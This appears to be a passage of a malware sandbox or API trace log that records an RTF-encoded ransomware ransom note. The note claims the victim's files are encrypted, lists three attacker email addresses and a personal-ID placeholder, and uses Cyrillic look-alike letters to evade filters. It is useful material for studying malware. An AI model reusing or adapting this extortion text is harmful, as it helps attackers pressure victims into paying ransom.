ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 [RDM_STR]\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchLength=0x36fc | out: lpsz="{\\RTF1\\ANSI\\ANSICPG1251\\DEFF0\\NOUICOMPAT\\DEFLANG1049{\\FONTTBL{\\F0\\FNIL\\FCHARSET0 CALIBRI;}{\\F1\\FNIL\\FCHARSET204 CALIBRI;}}\r\n{\\COLORTBL ;\\RED255\\GREEN0\\BLUE0;\\RED155\\GREEN0\\BLUE211;\\RED255\\GREEN255\\BLUE0;\\RED0\\GREEN176\\BLUE80;\\RED255\\GREEN255\\BLUE255;}\r\n{\\*\\GENERATOR RICHED20 10.0.15063}\\VIEWKIND4\\UC1 \r\n\\PARD\\RI-500\\SA200\\SL240\\SLMULT1\\QC\\TX8804\\UL\\B\\F0\\FS28\\LANG1033 SHIT H\\F1\\LANG1049\\'C0\\F0\\LANG1033 PPENS!\\ULNONE\\F1\\LANG1049\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\QC\\TX8378\\F0\\FS24\\LANG1033 WE H\\F1\\LANG1049\\'C0\\F0\\LANG1033 VE T\\F1\\LANG1049\\'CE\\F0\\LANG1033 INF\\F1\\LANG1049\\'CE\\F0\\LANG1033 RM Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 U TH\\F1\\LANG1049\\'C0\\F0\\LANG1033 T \\F1\\LANG1049\\'C0\\F0\\LANG1033 LL Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 UR FILES WERE ENCRYPTED!\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\TX8378\\CF1\\PAR\r\n\\CF0 PLE\\F1\\LANG1049\\'C0\\F0\\LANG1033 SE BE SURE, Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 UR FILES \\F1\\LANG1049\\'C0\\F0\\LANG1033 RE N\\F1\\LANG1049\\'CE\\F0\\LANG1033 T BR\\F1\\LANG1049\\'CE\\F0\\LANG1033 KEN!\\B0\\PAR\r\n\\I Y\\F1\\LANG1049\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S W\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'E5\\F0\\LANG1033 D WITH STR\\F1\\LANG1049\\'EE\\F0\\LANG1033 NG \\F1\\LANG1049\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LG\\F1\\LANG1049\\'EE\\F0\\LANG1033 RITHMS.\\I0\\PAR\r\n\\I * PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T TH\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 IS N\\F1\\LANG1049\\'EE\\F0\\LANG1033 W\\F1\\LANG1049\\'E0\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S WITH\\F1\\LANG1049\\'EE\\F0\\LANG1033 UT UNIQU\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N K\\F1\\LANG1049\\'E5\\'F3\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND SP\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 I\\F1\\LANG1049\\'E0\\F0\\LANG1033 L S\\F1\\LANG1049\\'EE\\F0\\LANG1033 FTW\\F1\\LANG1049\\'E0\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 . Y\\F1\\LANG1049\\'EE\\F0\\LANG1033 UR UNIQU\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N K\\F1\\LANG1049\\'E5\\'F3\\F0\\LANG1033 IS S\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 UR\\F1\\LANG1049\\'E5\\F0\\LANG1033 L\\F1\\LANG1049\\'F3\\F0\\LANG1033 ST\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 D \\F1\\LANG1049\\'EE\\F0\\LANG1033 N \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR S\\F1\\LANG1049\\'E5\\F0\\LANG1033 RV\\F1\\LANG1049\\'E5\\F0\\LANG1033 R.\\PAR\r\n* T\\F1\\LANG1049\\'EE\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U N\\F1\\LANG1049\\'E5\\'E5\\F0\\LANG1033 D \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR SP\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 IFI\\F1\\LANG1049\\'F1\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 UT\\F1\\LANG1049\\'EE\\F0\\LANG1033 M\\F1\\LANG1049\\'E0\\F0\\LANG1033 TI\\F1\\LANG1049\\'F1\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N T\\F1\\LANG1049\\'EE\\'EE\\F0\\LANG1033 L \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR UNIQU\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N K\\F1\\LANG1049\\'E5\\'F3\\F0\\LANG1033 .\\PAR\r\n* \\F1\\LANG1049\\'C0\\F0\\LANG1033 LL \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S W\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 M\\F1\\LANG1049\\'E5\\F0\\LANG1033 D BUT \\F1\\LANG1049\\'E0\\F0\\LANG1033 FT\\F1\\LANG1049\\'E5\\F0\\LANG1033 R D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N PR\\F1\\LANG1049\\'EE\\'F1\\'E5\\F0\\LANG1033 SS FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 M\\F1\\LANG1049\\'E5\\F0\\LANG1033 S WILL B\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 D T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 RIGIN\\F1\\LANG1049\\'E0\\F0\\LANG1033 L ST\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E5\\F0\\LANG1033 . D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 STRU\\F1\\LANG1049\\'F1\\F0\\LANG1033 TUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 WILL N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T \\F1\\LANG1049\\'F1\\F0\\LANG1033 H\\F1\\LANG1049\\'E0\\F0\\LANG1033 NG\\F1\\LANG1049\\'E5\\F0\\LANG1033 .\\PAR\r\n* PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 B\\F1\\LANG1049\\'E5\\F0\\LANG1033 SUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL TH\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 TT\\F1\\LANG1049\\'E5\\F0\\LANG1033 MPTS T\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 R \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S B\\F1\\LANG1049\\'F3\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 URS\\F1\\LANG1049\\'E5\\F0\\LANG1033 LF \\F1\\LANG1049\\'EE\\F0\\LANG1033 R USING THIRD P\\F1\\LANG1049\\'E0\\F0\\LANG1033 RT\\F1\\LANG1049\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\'EE\\F0\\LANG1033 LS \\F1\\LANG1049\\'F1\\'E0\\F0\\LANG1033 N R\\F1\\LANG1049\\'E5\\F0\\LANG1033 SULT IN IRR\\F1\\LANG1049\\'E5\\F0\\LANG1033 V\\F1\\LANG1049\\'EE\\'F1\\'E0\\F0\\LANG1033 BL\\F1\\LANG1049\\'E5\\F0\\LANG1033 L\\F1\\LANG1049\\'EE\\F0\\LANG1033 SS \\F1\\LANG1049\\'EE\\F0\\LANG1033 F \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 !\\B\\I0\\PAR\r\n\\PAR\r\nWH\\F1\\LANG1049\\'C0\\F0\\LANG1033 T D\\F1\\LANG1049\\'CE\\F0\\LANG1033 Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 U NEED T\\F1\\LANG1049\\'CE\\F0\\LANG1033 D\\F1\\LANG1049\\'CE\\F0\\LANG1033 ?\\PAR\r\n\\B0 FIRST \\F1\\LANG1049\\'EE\\F0\\LANG1033 F \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U H\\F1\\LANG1049\\'E0\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 US B\\F1\\LANG1049\\'F3\\F0\\LANG1033 \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\PAR\r\n\r\n\\PARD\\SL240\\SLMULT1\\F1\\LANG1049\\'CE\\F0\\LANG1033 UR FIRST \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\TAB \\B\\FS28 BILLWONG73@YAHOO.COM\\PAR\r\n\\B0\\F1\\FS24\\LANG1049\\'CE\\F0\\LANG1033 UR S\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 ND \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\TAB\\TAB\\B\\FS28 BILLWONG73@PROTONMAIL.COM\\PAR\r\n\\B0\\F1\\FS24\\LANG1049\\'CE\\F0\\LANG1033 UR THIRD \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\TAB\\TAB\\B\\FS28 BILLWONG73@AOL.COM\\CF1\\FS24\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\TX8378\\CF0\\B0\\PAR\r\n\r\n\\PARD\\SL240\\SLMULT1\\CF1\\UL\\B\\F1\\FS28\\LANG1049\\'C0\\F0\\LANG1033 TTENTI\\F1\\LANG1049\\'CE\\F0\\LANG1033 N!\\PAR\r\n\\ULNONE\\FS26 IF \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U W\\F1\\LANG1049\\'E0\\F0\\LANG1033 NT T\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 R \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 US T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL \\F1\\LANG1049\\'E0\\F0\\LANG1033 DR\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E5\\F0\\LANG1033 S!\\PAR\r\nIT IS R\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 LL\\F1\\LANG1049\\'F3\\F0\\LANG1033 IMP\\F1\\LANG1049\\'EE\\F0\\LANG1033 RT\\F1\\LANG1049\\'E0\\F0\\LANG1033 NT B\\F1\\LANG1049\\'E5\\'F1\\'E0\\F0\\LANG1033 US\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 F D\\F1\\LANG1049\\'E5\\F0\\LANG1033 LIV\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PR\\F1\\LANG1049\\'EE\\F0\\LANG1033 BL\\F1\\LANG1049\\'E5\\F0\\LANG1033 MS WITH S\\F1\\LANG1049\\'EE\\F0\\LANG1033 M\\F1\\LANG1049\\'E5\\F0\\LANG1033 M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL S\\F1\\LANG1049\\'E5\\F0\\LANG1033 RVI\\F1\\LANG1049\\'F1\\'E5\\F0\\LANG1033 S!\\PAR\r\nPL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 B\\F1\\LANG1049\\'E5\\F0\\LANG1033 SUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 W\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LW\\F1\\LANG1049\\'E0\\'F3\\F0\\LANG1033 S IN T\\F1\\LANG1049\\'EE\\F0\\LANG1033 U\\F1\\LANG1049\\'F1\\F0\\LANG1033 H \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND R\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 D\\F1\\LANG1049\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 H\\F1\\LANG1049\\'E5\\F0\\LANG1033 LP \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U!\\PAR\r\nIF \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U WILL N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T R\\F1\\LANG1049\\'E5\\'F1\\'E5\\F0\\LANG1033 IV\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E0\\F0\\LANG1033 NSW\\F1\\LANG1049\\'E5\\F0\\LANG1033 R IN 24 H\\F1\\LANG1049\\'EE\\F0\\LANG1033 URS, PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR M\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E0\\F0\\LANG1033 G\\F1\\LANG1049\\'E5\\F0\\LANG1033 !\\PAR\r\n\\CF2\\FS28 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LW\\F1\\LANG1049\\'E0\\'F3\\F0\\LANG1033 S \\F1\\LANG1049\\'F1\\F0\\LANG1033 H\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 K SP\\F1\\LANG1049\\'C0\\F0\\LANG1033 M F\\F1\\LANG1049\\'EE\\F0\\LANG1033 LD\\F1\\LANG1049\\'E5\\F0\\LANG1033 R!\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\TX8378\\CF0\\B0\\FS26 * \\I WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 N ENGLISH \\F1\\LANG1049\\'EE\\F0\\LANG1033 R US\\F1\\LANG1049\\'E5\\F0\\LANG1033 PR\\F1\\LANG1049\\'EE\\F0\\LANG1033 F\\F1\\LANG1049\\'E5\\F0\\LANG1033 SSI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 L TR\\F1\\LANG1049\\'E0\\F0\\LANG1033 NSL\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\I0\\PAR\r\n\\FS24\\PAR\r\n\\HIGHLIGHT3\\FS28 IN SUBJ\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 T LIN\\F1\\LANG1049\\'E5\\F0\\LANG1033 WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR P\\F1\\LANG1049\\'E5\\F0\\LANG1033 RS\\F1\\LANG1049\\'EE\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 L ID: \\B [KID]\\PAR\r\n\\HIGHLIGHT0\\PAR\r\nF\\F1\\LANG1049\\'EE\\F0\\LANG1033 R \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E0\\F0\\LANG1033 SSUR\\F1\\LANG1049\\'E0\\F0\\LANG1033 N\\F1\\LANG1049\\'F1\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U \\F1\\LANG1049\\'F1\\'E0\\F0\\LANG1033 N \\F1\\LANG1049\\'E0\\F0\\LANG1033 TT\\F1\\LANG1049\\'E0\\'F1\\F0\\LANG1033 H UP T\\F1\\LANG1049\\'EE\\F0\\LANG1033 3 SM\\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'E5\\F0\\LANG1033 D FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR M\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E0\\F0\\LANG1033 G\\F1\\LANG1049\\'E5\\F0\\LANG1033 . W\\F1\\LANG1049\\'E5\\F0\\LANG1033 WILL D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND S\\F1\\LANG1049\\'E5\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'E5\\F0\\LANG1033 D FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S F\\F1\\LANG1049\\'EE\\F0\\LANG1033 R FR\\F1\\LANG1049\\'E5\\'E5\\F0\\LANG1033 . \\PAR\r\n\\I\\F1\\FS24\\LANG1049 * \\F0\\LANG1033 \\F1\\LANG1049 \\F0\\LANG1033 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S MUST N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T \\F1\\LANG1049\\'F1\\'EE\\F0\\LANG1033 NT\\F1\\LANG1049\\'E0\\F0\\LANG1033 IN \\F1\\LANG1049\\'E0\\F0\\LANG1033 N\\F1\\LANG1049\\'F3\\F0\\LANG1033 V\\F1\\LANG1049\\'E0\\F0\\LANG1033 LU\\F1\\LANG1049\\'E0\\F0\\LANG1033 BL\\F1\\LANG1049\\'E5\\F0\\LANG1033 INF\\F1\\LANG1049\\'EE\\F0\\LANG1033 RM\\F1\\LANG1049\\'E0\\F0\\LANG1033 TI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND TH\\F1\\LANG1049\\'E5\\F0\\LANG1033 IR T\\F1\\LANG1049\\'EE\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 L SIZ\\F1\\LANG1049\\'E5\\F0\\LANG1033 MUST B\\F1\\LANG1049\\'E5\\F0\\LANG1033 L\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 N 5MB. \\PAR\r\n\\I0\\PAR\r\n\\CF4\\FS26 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'EE\\F0\\LANG1033 N'T W\\F1\\LANG1049\\'EE\\F0\\LANG1033 RR\\F1\\LANG1049\\'F3\\F0\\LANG1033 !\\PAR\r\nB\\F1\\LANG1049\\'E5\\F0\\LANG1033 SUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 